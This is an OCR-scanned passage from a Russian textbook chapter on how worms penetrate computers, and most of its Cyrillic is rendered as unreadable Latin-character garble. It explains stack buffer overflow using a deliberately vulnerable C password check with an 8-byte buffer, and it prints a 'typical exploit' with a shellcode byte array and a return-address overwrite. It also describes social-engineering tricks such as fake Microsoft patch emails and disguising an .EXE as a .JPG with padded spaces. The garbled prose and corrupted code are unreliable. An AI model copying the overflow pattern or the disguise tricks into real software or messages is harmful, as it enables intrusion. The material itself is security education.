duryparnmonnsie daitnbl win Peectp, mocse 4ero sKIeT mepe3arpys3Ku.
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IMocie mepesarycka OnepaoOHHON CUCTEMbI CTAPTYET 1 HaYrHAeT pabo-
TaTbh yKe OCHOBHAs 4acTb yepBs. OAMH MOTOK 4epBS CKAHUPYET TOPTHI
VIAJCHHBIX KOMIIBIOTEPOB, JIPYTON PACKUIBIBAECT HA 3TH KOMIIBIOTEPHI
HIeJII-KOIbI, TPETUil «caiy:kut» FTP-cepBepoM U JK/eT 3aIIpOCOB OT I1€JLJI-
KOJIOB, 3aKPENUBIINXCS HA YAAJIECHHOM <ILJIallapMes U T. I1.

TakuMm 00pa3soM, TUIWYHBI MHTEPHET-UYEPBb — JOBOJBHO CJIOKHDIIL
MIPOrPAMMHBIN KOMIIJIEKC, COCTOSINIMI 13 HECKOJIBKUX TIOJICUCTEM U CIIO-
cOOHBII paboTaTh B HECKOJIbKUX pesKIMax. boiBaet, OH maxe 0popMIIIeT-
s B BUJI€ HECKOJIbKUX ITPOTPAMMHBIX (haiiioB.

IlepBag «martuierka» XXI Beka o3HaMeHOBAaJaCh MACCOBLIMU IIIU-
JEMUSAMU WHTEPHET-4epBeil, 3apakaBliMX Kak OObIYHBIE MAIIUHbI MO/
yupasiaenueM pasandnbix Bepcuii Windows (manpumep, Net-Worm.
Win32.Lovesan niun Net-Worm.Win32.Sasser), Tak u BbiJeJIeHHbIE
ceresble cepepbl (Hanpumep, Net-Worm.Win32.CodeRed uiu Net-
Worm.Win32.Slammer). lurepecto, 4to B 60ph0e ¢ snupeMueil Bupyca
Net-Worm.Win32.Lovesan ornpeiesieHHYIO POJIb CITPaJl <KOHTPBUPYCH>
Net-Worm.Win32.Welchia, xoropsbiii cHadasa mOMOI [IOTacUTh «Bpa-
JKECKYI0» BIUIEMUIO, & TOTOM YCTPOUJ cBOI0 coberBeHuyo. Crpasasiu
u Linux-cucrembr — ot yepseii tTuna Net-Worm.Linux.Slapper u Net-
Worm.Linux.Ramen, npuuumn aeiicTBIA KOTOPBIX B OOIIUX Y€PTaxX I10-
XO’K Ha IpUHIUI geiicTBra nxX Windows-co6parbeBs. Bo BTopoM nstuieTnn
«CyTIepaNuAeMuii> yKe He OBLI0, HO KOJUYECTBO PACIPOCTPAHSIONIUXCSE
yepe3 MHTepHeT yepBeil, NCIOIb3YIONUX KaK CTapble W/en, TaK U HOBbIe
YSA3BUMOCTHU, OCTAJIOCh 3HAYUTEIbHBIM.

OcHoBHOIT c110c06 60pbOBI ¢ TTOAOOHBIMU BUPYCAMK — IIPUMEHEHHUE
(daiipBoios (6paHAMaysPOB), KOTOPbIE CIIOCOOHBI AHATN3UPOBATD CETe-
BOH TpahuK U «3aKPbIBATb» T€ UJIW MHBIE TOPTHL.

6.5. Kak 4yepsn NpOHUK3IOT B KOMNbIOTEpP

...Abopuzenvi cnocobHblL nponuKkamv 6 Kopabiv.
Kopabaw ux enyckaem. /list cpasnenus: nanom-
110, MO HU MAZOPUY, HU OAJNCe NANMUAHUNY, NPU
BCEM UX 0ZDOMHOM CXOOCMBE C UETOBEKOM, IOKO-
8y10 nepenonky e npeodoiemv. Jox npocmo He
packpoemcsi nepeod HuM...

A.u B. Crpyrankue. «Masbrmns

B oTeuecTBEeHHOI KOMIIBIOTEPHON cpejie OIpeiesIeHHYI0 M3BECTHOCTD T10-
Jyquin nrytauBble «akcrnombl M. P. llypa-Bypbis:
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B kaxxpovi nporpamme ectb XoTs Obl 0AHA oLumbka. Ecsiv oLmbokK Her,
TO HEBEPEH anroputmM. Ecav anroputm BEPEH, TO MPOrpamMma HUKOMY
He HyXHa.

¥YBBI, B HUX CJAUIIKOM MHOTO TOPBKOW TpaBibl. V1 CAMUIIKOM 4acTo
UMEHHO OITUOKY U HETOYHOCTU B CHCTEMHOM ITPOTPaMMHOM OO€eCTIeueHU N
CJTy?KaT BXOJHBIMU BOPOTAMU JIJIsl CETEBOM MHMEKINH.

Bbiliie MbI ysKe TPUBOIUIN IPUMED € YEPECUYP «IPYKETOOHBIMY Ta-
3UPOBOYHBIM aBTOMATOM, TEIEePb PACCMOTPUM peasbHbIE YSI3BUMOCTH
B IPOrpaMMHOM obeciiedeHn . BOoJIbIIMHCTBO M3 HUX CBSI3aHbI ¢ TaK Ha-
3bIBAEMBIM <«ITepernosHenneM Oydepar, To ecTh ¢ cUTyarmeii, koraa 06-
pabaTbiBaeMble AHHbIE He YMEIAIOTCS B OTBEEHHYIO ST HUX 00JIacTh
mamsaTr. CTpasaioT OT MO0OHBIX YS3BUMOCTEN JIOKATBHBIE U TII00ATBHBIE
MACCHBBI, CTEKH, TTyJIbl AMHAMUYECKOI MaMATH U T. T. BOT mpuMuTHBHAS
mporpamma Ha s3bike Cu:

#include <stdio.h>
#include <string.h>

int check_password(int a, int b, int c) {

char s[8]; // Maccus ans xpaHeHus napons
printf("Bsoan naponb: "); scanf("%s”, s); // 3anpoc u BBOA Napons
return strcemp(s, “secret”)); // Nposepka napons

}

main() {
int g=check_password(0x12345678, 0x87654321, 0xABCDEF00); // Bbi30B (OyHKUMM NPOBEPKH
napons
if (tg)
printf("[obpo noxanosaTb!");
else
printf("MocTOPOHHWUM BXOA BOCNpeueH! ");

}

He 6ynem cuibHO KPUTUKOBATh HU CTHJIb, HU CTOWKOCTD 3alIUTHOTO
MexaHu3Ma 3Toi nporpaMmbl. OTMETHM JIMIIb CYIECTBOBAHUE OYEBU/I-
HBIX METOJIOB €ro B3jioMa: 1) MoACMOTpeTh PABUIIbHBIN APOJIh BHYTPU
MpOTrpamMMHOTO (haiisa; 2) BUJJOM3MEHUTH KOJIbl MAIIMHHBIX KOMAH/| BHYT-
pu iporpamMMHoTO aiiaa. 3abyaem po 9TH METO/IbI, TPEAION0KUB, YTO
MPOTPaAMMHBIH (HaiisT 3/I0YMBIILIEHHUKY TIPOCTO HeoCcTyIeH. TeM He Me-
Hee 060TH 3AIUTY BCE JKEe BO3MOJKHO.

[esio B TOM, UTO MAITUHHBIN KOJ, TIOJYYEHHDBI B pe3yJbraTe KOMIIU-
JIAIMU TIPOTPAMMHBIX TEKCTOB, MOYAC UMEET 0COOEHHOCTH, COXPAHSIIO-
1ecs BHE 3aBUCUMOCTH OT MCIIOJIb30BAHHOTO KOMITUJIATOPA U OllePalln-
OHHOII cucTeMbl. B yactHocTH, B IpOrpaMMax, HalMCaHHBIX Ha g3bike Cu,
11pH BbI30Be (DYHKIINI TIOYTH BCETIA TPOUCXOUT CJie/lyIoliee:
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B CTEK 3aHOCSATCS IapaMeTpbl BbI30Ba (B 00paTHOM MOPSI/IKE );

B CTEK 3aHOCHTCST aJ[PeC BO3BpaTa U BBIIOJIHIETCS TIEPEXO]l Ha Tiep-
BYIO KOMaHy (DyHKITUN;

nepe/l HAYaJIOM BBITTOJHEHUsST Tesia (GYHKIUM B CTEKe paciipejie-
JISIETCS IIPOCTPAHCTBO M0 JIOKaJIbHBIE IIepeMeHHbIe (TO eCTh MO/l
nepeMeHHbIe, OICaHHbIe BHYTPU (DYHKIINN );

O  ecnu YHKIMS TPUHAIEKNAT CUCTEMHBIM AMHAMUYECKUM OUOIIO-
TexaM onepannonnoii cucrembl Windows 9X/NT (to ectb a1 ee
BbI30Ba MCIIOJIb30BaHa cxeMa Bbi3oBa «stdcall» ), To 1mociie 3aBepie-
Hus paboThI Tesia PYHKIMU yKazaTe b CTeKa CMEIAeTCsl TaK, YTOObI
0CBOGOINUTH 06JIACTH, 3aHUMAEMble TePEMEHHBIMIE 1 TTapaMeTpaMu;
aJ[Pec BO3BPATa U3BJIEKAETCS U3 CTEKA, U T10 HEMY BBITIOJTHSIETCST 00-
paTHBII IIepexojl Ha KOMaHLy, CJIEAYIONLYIO 32 BbI30BOM (DYHKI[IY;
ecan (DYyHKIUS TPUHAMJIEKUAT TIPOU3BOJBHON TPUKJIAJAHON IPO-
rpaMMe WJIH SIBJISIETCSI YACThIO CHCTEMHOTO MPOrpaMMHOro obec-
MeYeHUsT MHBIX OMEPANUOHHBIX CUCTEM (TO €CTh JIJISI €€ BbI30Ba
HCIIOJIBb30BaHa cxeMa Bbi3oBa «cdecl» ), To ykasarenb crexa KOppek-
THPYETCS TIOCJIe BO3BpaTa.

ITpousBoanTE M KOHKPETHBIX KOMIIMJIATOPOB, PAOOTAIONINX B PasHBIX
onepanuonnbix cucremax (MS-DOS, Windows, BSD, Linux' u T. 11.), Mo-
I'yT, KOHEYHO, BUJOM3MEHUTD CXEMY BbI30Ba, HO B JIIOOOM CJiydae oHa OyzeT
[PECTaBIATH COO0I HEKYIO Pa3HOBUIHOCTD BblilleoncanHoil. He oOparuas
BHUMAaHUS Ha MEJIKHE Pas/IMIist B CXeMaX BbI30Ba, MOJKHO ITPEJICTABUTD cebe
HeKyI0 0000LIEHHYI0 KapTUHY — Kak Oy/eT BbIIJISJAETh CTEK IIPOrPaMMbI
B MOMeHT Havasia pabotsl yHkimu «check password» — cm. puc. 6.12.

(ON©,

B Havane pabotel MNocne seoga napons
A
NokaneHble
nepemeHHble Crpoka napons
PocTt thyHKUNM 3anonHexue
cTeka Bydepa — —
Anpec Boagpara
MapameTpbl MapameTpsi
v

Puc. 6.12. lNpocTenwas ya3BUMOCTb,
CBSAI3aHHas C NepekpbITeM CTeka MaCCMBOM
' 3uech u gasiee nox Linux 6yeM OHUMATD He KOHKPETHYIO OIEPAIHOHHYIO CU-
cremy, a orpomuoe cemeiictso (Ubuntu, Debian, Fedora u np.), ucnossayiouiee
ob1ee s1po.
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JlokasbHble TIepeMeHHble (DYHKIUU (2 TOUHEEe MACCUB JIJIsI XPaHEHsI
CTPOKH IapoJist), a/[pec BO3BpaTa U MapaMeTphl, epeaBaeMblie GyHKIIH,
XPAHSITCS PSIZIOM JIPYT C JIPYTOM — B CTEKe.

Terepb TPEANONOKUM, YTO TI0JB30BATENb BBOAUT CTPOKY IApPOJIS.
IToka ee jyHA He TIPEBBINIAET pasMepa oTBeeHHOTo Oydepa (B HaleM
ciryuae 8 6aiiToB), mporpamma Oyzier paboTath KoppekTHO. Ho Kak TOJIbKO
10JIb30BATEb BBEJIET CIIUIIIKOM JIJIMHHYTO CTPOKY (@ B st3bike Cu 10 yMOJI-
YaHUIO TIepeceveHre TPAaHUI] HUKAK He KOHTPOJHMPYETCS ), MACCUB Tepe-
MOJIHUTCS, ¥ aJ[pec Bo3BpaTa u3 (GpyHKIUK Oy/eT 3aMEeHeH HEKUMU JlaH-
HBIMH, MPEACTABJSIONUMU COOON «XBOCT» BBOAMMOrO mapoJisi. OTtcioza
BbITeKaeT uzes Bajioma [11, 12]: eciu chopmupoBaTh «XBOCT» MAPOJIbHON
CTPOKM TaKUM 00Pa3oM, 4TOObI OH COOTBETCTBOBAJ 3apaHee U3BECTHOMY
aJIpecy MaMsITH, TO BO3BPAT U3 TIPOIIEYPbI OY/IET BLITOJHEH He B IJIABHYIO
[IPOrpaMMYy, a TY/Ia, Ky/la 3a[yMaJl 3JI0yMbIIIJIEHHUK.

B pesysbrate 3J0YMBINIJIEHHUK MOXKET 3aCTaBUTH IIPOTPAMMY He
TOJIBKO Iepeiitu Ha coobmenne «/JoOpo 1mokanoBaTh!», HO U Ha CBOMI
[IPOrPAMMHBII KO, pasMelIeHHbII B TOM e CTPOKOBOM Oydepe BMme-
CTO CTPOKH T1apoJist (3TO MPOIIe BCETO CEJNATH [IPU TOMOIIN MAITMHHON
rkomanbl «JMP ESP» ¢ kogom 0E4FFh). 9rta «xurpast» cTpoka, rmojgasa-
eMast Ha BXOJl [IPOTPAMMBI U COJIEPIKAIIAS M KOJI, U JIAHHbIE, SIBJISIETCSI HE
YyeM MHbIM, KaK yIIoMsaHyTbiM paHee shell-kogom. Pasymeercs, npuBegen-
HBII IPUMeEpP OY€eHb MPUMHUTUBEH U HEPEATUCTUYEH, HO UJIEI0 EePexBaTa
YIIPaBJIEHUST TIPOTPAMMOI CO CTOPOHBI HOCTOPOHHETO KOJIA UILTIOCTPUPY-
€T BIIOJIHE 3JIEKBATHO.

KoneuHo, eciini u3BeCTEH WPUHIUAIN HCIOJb30BAHUS YSI3BUMOCTH,
JIOJKHBI CYIECTBOBATD W «KOHTPIIPUHIMITBI». Harpumep, eciin atakye-
Mast [IporpamMMa HalkCaHa Ha TACKaJIeno00HOM A3bIKe (3TO MOKET ObITh
cam Pascal, nmn Modula-2, wiu Oberon, uiu eme uto-nuGyap B 9TOM
pojie), TO caM KOMITHJISITOP 03a00THTCST TIPOBEPKOIL IIEJIOCTHOCTH CTEKA U
ne nozsosut shell-koxy nepexsaruts ynpasaenue. [Tpasia, B 5ToM cirydyae
[IporpaMma, CKopee BCero, IIpoCcTo «BBLIETUT> € coobiienneM 00 omoKe.
Ipyroii c11oco6 60pe0EL ¢ nepenoHenneM 0y(epoB — BBIIEIATh UX He
B CTEKe, a B JUHAMUYECKOI maMsaTu. EcTb 1 c11ocod HoMep Tpu, U crocod
HOMEp 4eThipe U T. JI. Bce OHM aKTUBHO HMPUMEHSIIOTCS JIJIsS HAUCAHUST
«6e301mnb0YHbIX> porpaMM. Ho CTONpOIEeHTHOI TapaHTHX KOPPEKT-
HOCTH U OHH HE JAI0T. Bejib THIUYHBIE CUCTEMHBIE TIPOTPAMMBI COJIEP-
JKAT MUJIJIHOHBI CTPOK KOJIA, HAIMCAHHBIX B PA3HBIX YCIOBUSIX PA3HBIMU
nporpammuctamu. Kak HM BbLIM3BIBAN, HU OTJAKUBA, HU TECTUPYH
TaKyIO0 MPOrPaMMY, BCE PABHO MPOCMOTPUID KaKylO-HUOY/b «METOUb»:
B OJIHOM MECTE HE ITPOBEPSIETCS] KOJUUECTBO TTAPAMETPOB, TTEPEIaBAEMbBIX
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(byHKITMY; B IPYTOM — T1071 JTOKQJIbHBIE JIaHHbIC BBIIEISAETCS CTATUYECKUI
MACCHB; ellle T/ie-HuOY/[b BMECTO «JIJIMHHBIX> YKasaTeIel UCIOIb3YIOTCs
«KOpOTKHe» U T. 1. [la 1 CPOKM HA OTJAJIKYy OrPAHUYEHBL: €KETO/IHO T10-
ABJIAIOTCS HOBbIE BEPCUU OTIEPAITMOHHBIX CUCTEM U CUCTEMHBIX IIPOTPAMM
C HOBBIMHU OMIMOKAMM, U 3apaHee MPe/ICKA3aTh, T/le U B KaKOil MOMEHT 06-
HApYKUTCS HOBAsl </IbIpay, IPAKTUYECKU HEBO3MOXKHO. KoHeuHO, TIpoun3-
BOJIUTEJIM AKTUBHO 3aHUMAIOTCS TOUCKOM OIUOOK ¥ B HOBOM, U B JIaBHO
AKCILIyaTHPYEMOM TIPOTPAMMHOM 0OECTIeUeHUHU, PETYJISIPHO BBIMTYCKAIOT
obHOBJIeHUS, «3aniamKu> («namyus> ) T. 11. Ho CKOpoii 1 OKOHYaTeIbHON
no6Ge/bl Hajl yA3BUMOCTSAMHU TT0KA HE 0/KUIAETCS.

TMouckom o1mmbOK 3aHUMAIOTCST HE TOJBKO TPOU3BOAUTENHU IPOTPAMM-
HOTO 00OecIieueHrsl, HO ¥ MHOTOYHUCJIEHHBIE <ITOCTOPOHHUE» HUCCIEN0-
Bareau. JTO HE BUPYCOIMUCATENIHN, ITO ITPEACTABUTETN COBCEM JIPYTOi
XaKePCKOW CIIeIUaIN3alun — «pegepcepol». VIX 0CHOBHBIE MHCTPYMEH-
TBI — OTJIAJYUKN U Jiu3acceMbepbl (ieKkoMIuisTopsl ). Hepesko B ux pac-
MOPSPKEHUM UMEIOTCS Jaske MCXOHbIE TEKCThI UCCIEYEeMBIX ITPOrPaMM:
BUYacTHOCTH, TOJbKO B X X1 Beke mpousoliuin, o Kpaitnei Mmepe, iBe KpyTi-
HbI€ yTeYKH KOH(pUAEHIIMAIbHBIX MaTepuasioB u3 Microsoft. A mucxomnbiii
TEKCT 3HAYMTEIbHOI YacTH IIPOrpaMMHOro obecriederus st Linux Bo-
o61e oTKpBIT U obmuienocTynen'. PesepcepoB MOXKHO pa3jiesuTh Ha TPU
GOJIbILIE TPYIIIIBL.

ITepByio rpyiiiry 00pasyioT «beivie uLisnvl> — pecrekrabebHble KoJl-
JIEKTUBBI WJIM MPOrPAMMUCTBI-OJAMHOYKH, JIETAJIbHO 3aHUMAIONHeCs
«paCKOIIKaMU» B Yy>KOM IIporpaMMHoM kojie. Haiing yg3BuMocTb, oHH,
KaK [PABUJIO, HAIPSIMYIO OOPAIAOTCsT K IPOU3BOUTENIO «CJIab0ros»
[POrPaMMHOTO 0GECIIEYEHNUs, TIPELYIPEKAAS: «IOCIO/A, BOT TYT y Bac —
abIpKa>! B 0TBET MOKHO MOJTy4uTh 61ar0aPHOCTD WU Iaske HeGObIIOoe
JeHexkHoe Bo3Harpaxkaenue. Ho yarie — HacMenimBoe HeloBepue: «Bee,
4TO BbI OOHAPY/KUJIN, HEBO3MOKHO, TOATOMY YTO ATOTO HE MOJKET ObITh
HuKorAa». [loguac, morydus cBeieHus: 00 ysi3sBUMOCTH, (hupMa-1pou3Bo-
JIUTENb HEJESIMUA U MECSIIIAMU «U3ydaeT IpobJeMy», He MPeIPUHIMAsT
HUKAKWUX aKTUBHBIX IEHICTBUH, B HAJIEK/IE, UTO 32 ATOT CPOK MHMOPMAIIU
00 ySI3BMMOCTH OCTaHEeTCs TAHHOM, a MOTOM ysKe BBINeT HOBasl BEPCHs
porpaMmbl. B aToM citydae o «1oBure Gesioil Misiibl» HUKTO U HUKOT/IA
He yauaer. CKYYHO U HEBBITOIHO ObITH «6eJI0ii MIANOii».

Bropast rpynima — «cepvie winsnvry. OOHAPYKUB «IBIPY», OHU HEME/I-
JIEHHO HAYMHAIOT OUTH BO BCE KOJIOKOJIA U PACTIPOCTPAHSIOT UH(MOPMAIHIO

' B 2009 1. B OTKPBITOM JOCTYTIE TMOSIBUIMCH OOTTUPHBIE (hPAarMEHTHI MCXOXHBIX

tekcros ot Jlaboparopun Kacrniepekoro.
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0 HaxojiKe 1o BceMy Mupy. M B aT0ll cuTyalinuu HaynHatoTcs «ToHKu». [1o-
yeMy nporpaMmMuct us ¢upmbl Microsoft jmosken GbITh BHUMATETbHEE
u coobpasuTesbHee, YeM KaKOi-HUOYAb IKOJbHUK U3 YPIONMUHCKA N
kyepk u3 [yanuxoy? [Topoit BUpyChl ¥ TPOSTHCKHE TIPOTPAMMbI, UCIIOJIb-
3yIOIIe YSA3BUMOCTD, TTOABJISAIOTCS paHbllle, YeM <JIEeKapCTBO» OT Hee.
A HecKoJIbKO pa3 GbIBAJIO U TAK, YTO M3TOTOBUTEJb TPOrPAMMHOT0 obec-
MeYyeHus: TOPOIJIMBO BBITYCKAJ 3aIIATKY, 3aKPbIBAIOILYIO «/[BIPY», HO OT-
KPBIBAIOIIYTO /iBe HOBbIE. [IprXoanIoch Beiesl 3a Hell BBIITYCKATh TPETHIO,
YeTBEPTYIO... BOT TUTIMYHBIE «BECTH C MOJE»:

20.05.2005. T[lonb3osarenu Linux, koTopbie OOHOBW/IN CUCTEMY
B MPOLLJIOM MecsLe 13-3a HavrigeHHou ys3BumMocTv B KDE, AO/IXHbI
O6ynyT cTaBUTb HOBYIO 3anaatky. [lesio B TOM, 4TO MpPOLL/IbIA naTy co-
Aepxan owmnbkKy, n3-3a KOTopor Obls1 He3(OEKTUBEH. YS3BUMOCTb
kKacasiacb KOMoHeHTa kimgio... llat4yu, BbinyLjeHHbIE paHee, peLua-
Jin 6OJIbLLUMHCTBO rpPobsieM, 0aHaKO MPUBHEC/IN HOBbIE — KOMIMOHEHT
cTaJsi HeCOBMECTUM C n306paxeHusmu .rgb...

19.08.2008. Microsoft nepensaana nary ans cayxosl Windows Server
Update Services... Microsoft BbisiBuia owmbky cuHxpoHu3aumu B Of-
fice 2003 Service Pack 1 n noobeluana nard, BbifyLEHHbIA 9 WIOHS.
OnHako NosIBUBLLMKICSI Naty HE CTaJl OKOHYaTe/IbHbIM PELLEHNEM, TakK
Kak HEKOPPEKTHO yCcTaHaBmBascsl Ha komrbtoTepsl ¢ Windows Server
2008. 1 aBrycta nocTynua B 3arpy3Kky nepensaaHHbii natd, a Ha AHsIx
OH elLle pa3 rnoaseprcsi OOHOBJIEHUIO. ..

Ente nokazatesnpree Tpyna u3 10 ya3sumocteil B mpuioxxeHnsasx MS
Office, mocsiegoBaTeIbHO OOHAPYKEHHBIX U UCIIOJIb30BAHHBIX KUTANCKHU-
Mmu xakepamu B Mapre-utore 2006 r. IIporpammuctsl u3 Microsoft Beimyc-
iy 10 «3a1maToKk», BMECTO TOrO YTOOBI OJIHOKPATHO ITPOAHAIN3UPOBATH
U UCTIPABUTH OOIIYIO OMUOKY B IIPOrPaMMHOM Kojie, paboTarotieM ¢ (hop-
Mmarom Structured Storage.

Nrak, ysI3BUMOCTH UCIIPABJSIOTCS JIAJIEKO HE cpa3y U He Bcerja Kop-
PEKTHO. A B 3TO BpeMsI MCCIIe0BaTe b, 0OHAPY/KUBIINN YSI3BUMOCTb, Ha-
CTAKIAETCS TOYETOM U M3BECTHOCTHIO. OJIHYM TPOKJINHAIOT €T0, JAPyTHE
MPEBO3HOCST. VIMSI «Teposi» He CXOIUT ¢ HOBOCTHBIX JIeHT B VIHTepHeTe,
OH TIOJIy4aeT MHOTOYHCJIEHHBIE TPEIJIOKEHUS O COTPYAHUYECTBE, €r0
IPUTJIANIAIOT Ha BBICOKOOILIAYUBaeMyIo paboty. BeITh «cepoil nuisimoii»
WHTEPECHO U BBITO/IHO, TIPAB/IA, BHI3BIBAET COMHEHUS ATUYECKAST CTOPOHA
0100HOTO MTOBE/ICHNSL.

Haxoner, «uepHule wsnvi» — 3T0 ajienThl YePHOI KOMIBIOTEPHOI Ma-
run. OGHaPYKUB HOBBIN CII0CO0 IIPOHUKHOBEHUST B CUCTEMY, OHU JICJISITCS
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HAXOAKOH TOJIBKO €O «CBOUMU». MHpopManus 06 yI3BUMOCTSIX OOBIYHO
PaCIIPOCTPAHSETCA B BUIE <IKCHIOUMO8» — KOPOTEHBKUX ITPOTPAMMOK,
JIEMOHCTPUPYIONINX HU/€I0 IIPOHUKHOBEHUA B UY/KYIO CUCTEMY.

/* TUNUYHbIA NCXOAHBI TEKCT TUNWUYHOrO aKcnnonTa */

unsigned char shellcode[] =
"\XB8\XFF\XEF\XFF\XFF\XxF7\xD0O\x2B\xE0\x55\x8B\XEC"

"\XF8\x50\xBB\XC7\x93\xBF\x77\xFF\xD3"
int main () {

int *ret;

ret=(int *)&ret+2

printf("Shellcode Length is : %d",strlen(shellcode))
(*ret)=(int)shellcode

return 0;

}

Cpe/int «4epHbIX LIS SKCIUIOUTHI — TIeHHbII ToBap. OcoGEHHO 10PO-
I'M 1 BOCTPEOOBAHDI «IKCHAOUMDbL HYAe8020 Onst» (<0-day exploits», «zero-
day exploits»), To ecTh camMble CBEKIE, HHKOMY €llle¢ HEM3BECTHbIE Pa3pa-
60otku. OHU MOTYT CTOUTH COTHH U TBHICSIYU JI0JLIAPOB. [TosyunB «perent
MIPOHUKHOBEHUS», BUPYCOMCATEHN, HE TOPOTISICH, CO3AIOT CBOUX 3JI0-
BPE/IOB U B OIIpeiesIeHHbIN «/ieHb [[» 1 «yac U» BBITyCKAIOT UX Ha BOJIO.
JlasbHeliee pasBuTre COOBITHI JIETKO MIPEICKA3YEMO.

Huzke OyayT paccMOTPEHbI HECKOJIBKO HanboJiee U3BECTHDIX YA3BUMO-
CTelA.

6.5.1. «CoumnanbHas uHXeHepus»

Camas mupoKasi U IpUHITMITHATBHO HeYCTPAHUMAST «/[bIPa» HAXOAUTCS He
B IIPOrpaMMHOM 00eCIIeueH Ht, a B FOJIOBE TUIIMYHOTO 1oJib3oBares. Her,
pedb UeT He 0 POTOBOM OTBEPCTUU B Yeperie homo sapiens, a BCero Jiuiib
0 HM3KOU KBaJn(pUKAIMN, HEBHUMATETbHOCTA U JIOBEPUUBOCTU OT/IE/b-
HBIX MPEJICTABUTENEN 9TOTO BUIA JKUBBIX CYIIECTB, HACEJISIONUX TJIAHETY
3emuist. MeTo/ibI NCIIOJIb30BAHUS TJIYIIOCTH M TOJIOBOTSITICTBA TTOJH30Ba-
TeJeil MONYYMJIn KPAaCUBOE HAUMEHOBAHUE <«COUUANLHAS UHICEHEPUSL>
(social engineering), XOTs1 Ha caMOM jieJie MTpaBuJIbHee OBLIO Obl HA3BaTh
X «OOMAHOM» U «MOIIEHHIUYECTBOM».

Kak samyctuTh BUPYCHYIO TIPOTPaMMy Ha 4ysKOM Komiibiotepe? /[la
O4YeHb TIPOCTO: TPHUCJIATH €€ IMOJb30BATENIO TI0 HIEKTPOHHON MouTe, 1
MYCTh OH 3aIlyCTUT ee COOCTBEHHBIME pyKamu!

Bcnomuure: nepsbie mokosenus yepss Macro.Word97.Melissa pac-
MPOCTPAHATNCH B JOKYMEHTAX, COAEPKAIIMX MapoJu K TMOPHOCANTAM.
[Tonmp3oBaresn camm 3arpyskaim 3apaskeHHbIE JOKYMEHTHI B cBoil MS
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Word, 1103BoJIsist BUpYCY IPOHUKHYTH B cucTeMy. [L0100HDII «TPIOK» BO3-
MOJKEH HE TOJBKO C IOKYMEHTAMH, HO U € MPUKJIAJHBIMI ITPOTPAMMAMU.
[locraTouno npuaath Gaiiay mouToBOrO BJIOKEHN, COIEPKAIIET0 BUPYC-
HYIO [IPOrpaMMmy, Kakoe-HuOyib «3aiyckabeabHoes pacipene («. BAT»,
«.COM», «.PIF», «.SCR2 1 T. 11.), a ollepaluoHHasI CICTeMa cama pasbe-
peTcs ¢ UICTUHHBIM BHYTpeHHUM (hopMaToM. B camom ke mmcbme ciefy-
eT MOSICHUTD, YTO MOJIb30BATENb 3allycKkaeT He abbl uTo, a «CKPUHCEHBEp
¢ bputau Crmpc», «IIpUKOJIBHYIO KOMIIBIOTEPHYIO UTPYIIKY», <B3JIOM-
muK BronTakre» u 1. 1. Bor kak, Hanpumep, supyc E-Worm.Swen y6ex-
JIaJl TI0JIb30BATEJIsl 3aIlyCTUTh «HOBYIO 3aIiaTky oT Microsofts:

Mankit t @ ¥ or Tema ~
_":p] Outlook Express X a tian Technic .
B Uz Makanesie nanka 1] internet mail service Message: Returned To Sender v

1 BrogAmme (1) <] E |
<€§ Wexoaawme
3 OTNpaBNEHHbIE

[*]

T

0T1: M5 Corporation Technical Bulletin Komy: Consumer ﬂ
/

T = Mew Mi ft S ity L) d
3 ¥ aaneHHes ena: flew Ficrosoft securty Upgrade

&} Yeprioshikm Microsaft Consumer
this is the |latest version of security update, the "June 2009,

which resalves all known security vulnerabilities affecting MS
Outlook and M5 Outlook Express as well as three newly disco

KoHTakTeL ¥ x| oW to protect your computer from these wulnerabilities. Thig
_Bimasha v vesnushkina functionality of all previously released patches. v

< E | >
CoobleHni: 8, He NpoqmTaHo: 1 % PaboTa B ceTH

Puc. 6.13 < [MncbMo ¢ NOYTOBLIM YepBeEM Swen

Hy, nosib3oBatesib, jaBail Ke... eJKall JeBoil KaaBuileil Mbiku! 11
TOT IIEJTKAJI, 3aITyCKast BUPYC.

[Ipumutusno? Harso? Ho pelictBeHHO.

TTouToBbIEe YepPBH, UCHOJIB3YIONIME TTOJOOHBIN TPIOK, BBI3BIBAIN BECh-
Ma CyIlecTBeHHbIe annjeMun B epBoM nsaTuiaern X X1 seka: E-Worm.
Swen, E-Worm.Klez, E-Worm.Borzella, E-Worm.Hybris u npoune.

BripoueMm, 6raroapsi HaCTOMYUBBIM Pa3bsiCHEHUSIM CO CTOPOHBI AHTH-
BUPYCHBIX KOMITAHUH U CPEJICTB MacCOBOM MH(OpMaInu yepe3 HEKOTOPoe
BpEMSI [T0JIb30BATEIN BBIYUHJIN «OMACHBIE» pacIiupeHus (hailioB 1 BHAIN
COBETY — He 3aIyCKaTh TTOCTOPOHHUX MTPOTPAMM, IPUXOASIINX 0 TIOYTE.

[IpaBza, aTo coBceM He 03HAYANO, UTO OHW B PE3yJbTaTe CUJIBHO TI0-
ymHesd. [lomycTiM, NpUIIeInme Mo 3JeKTPOHHOM MoUYTe MPOrpaMMbl 3a-
MyCKaTh HEJIb3sA. A KAPTUHKHM CMOTPETb MOKHO? A TEKCThI YMTaTh? A My-
3BIKY CJIYTIATh? A KJIUIBI cMOTPeTh? 3arpeTos Het? Hy u 3ameuarebHo!
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[Toatomy ciemyioniuii TPIOK, UCITOJIb30BAHHBIN BUPYCOTUCATEIIMU JIJI51
oOMaHa TI0JIb30BaTeell, 3aKII0UAICS B KOHCTPYUPOBAHUU <«CJIOKHBIX>
umMeH (aiiios. lesio B ToM, uto onepanuontas cucreMa Windows 9X/NT
JIOMYCKAeT TPUCYTCTBHE BHYTpU crienudukanun daiina goboro Kosm-
yecTBa Toyek (cumBosioB ¢ ASCII-komom 2Eh) 1 npo6esios (cuMBOJIOB ¢
ASCII-komom 40h). IToaromy nms daiina, CKOHCTPYUPOBAHHOTO 10 IPHH-
uny «ME_NUDE.JPG ... muoro 1upo6enos ... . EXE», BrioJiHe jierajibHo.
Jliist mosib3oBareist, HAOJIIOAIOIIETO HA HSKPAHE TOJIBKO JIEBYIO YaCTh UMe-
HU, OHO COOTBETCTBYET (hailly ¢ KapTUHKOW, HO JIJIS ONEePaIriuoHHO’-TO
cucreMbl — (aiiny 3amyckaeMoii mporpaMmbi! Takum 06pasoM, IiesKast
MbIKOH 110 ukonke ¢ nmeneM «ME NUDE.JPG», raynbiit nosb3oBa-
TeJTh HaMepeBaeTCs YBU/ETh KaPTUHKY € ITMKAHTHBIM COJIEPKMMBIM, a Ha
camoM JieJie 3arryckaeT Bupyc. Koneuno, apcexktuBHOCTD 3TOTO METO/1a BO
MHOTOM 3aBHCUT OT B3aUMHOTO TI0JIOKEHUS Ha AKPaHe 3JIEeMEHTOB yIIPaB-
